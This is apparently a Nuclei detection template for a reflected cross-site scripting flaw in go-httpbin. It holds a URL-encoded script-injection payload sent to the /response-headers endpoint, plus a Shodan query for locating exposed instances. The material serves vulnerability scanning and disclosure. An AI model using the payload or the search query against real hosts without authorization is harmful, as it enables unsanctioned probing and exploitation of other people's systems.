漏洞描述
HTTPBin contains a cross-site scripting vulnerability which can allow an attacker to execute arbitrary script. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
id: httpbin-contenttype-xss
info:
name: HTTPBin - Cross-Site Scripting
author: ayushxtha
severity: medium
description: |
HTTPBin contains a cross-site scripting vulnerability which can allow an attacker to execute arbitrary script. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
reference:
- https://github.com/mccutchen/go-httpbin/security/advisories/GHSA-528q-4pgm-wvg2
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score: 7.2
cwe-id: CWE-79
metadata:
max-request: 1
shodan-query: html:"httpbingo.org"
tags: xss,httpbin,oss,vuln
http:
- method: GET
path:
- '{{BaseURL}}/response-headers?Content-Type=text/html&Server=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"Server":'
- '"<script>alert(document.domain)</script>"'
condition: and
- type: word
part: content_type
words:
- text/html
- type: status
status:
- 200
# digest: 4a0a00473045022100d8116e1e17188edebb71c08a3e80fb15e05d8225ae4aa463ff5b7507d81b589c02207553cf70038a8554a92aa9d1545515e4c1b9c6d154e538bc048cc5632aff49f1:922c64590222798bb761d5b6d8e72950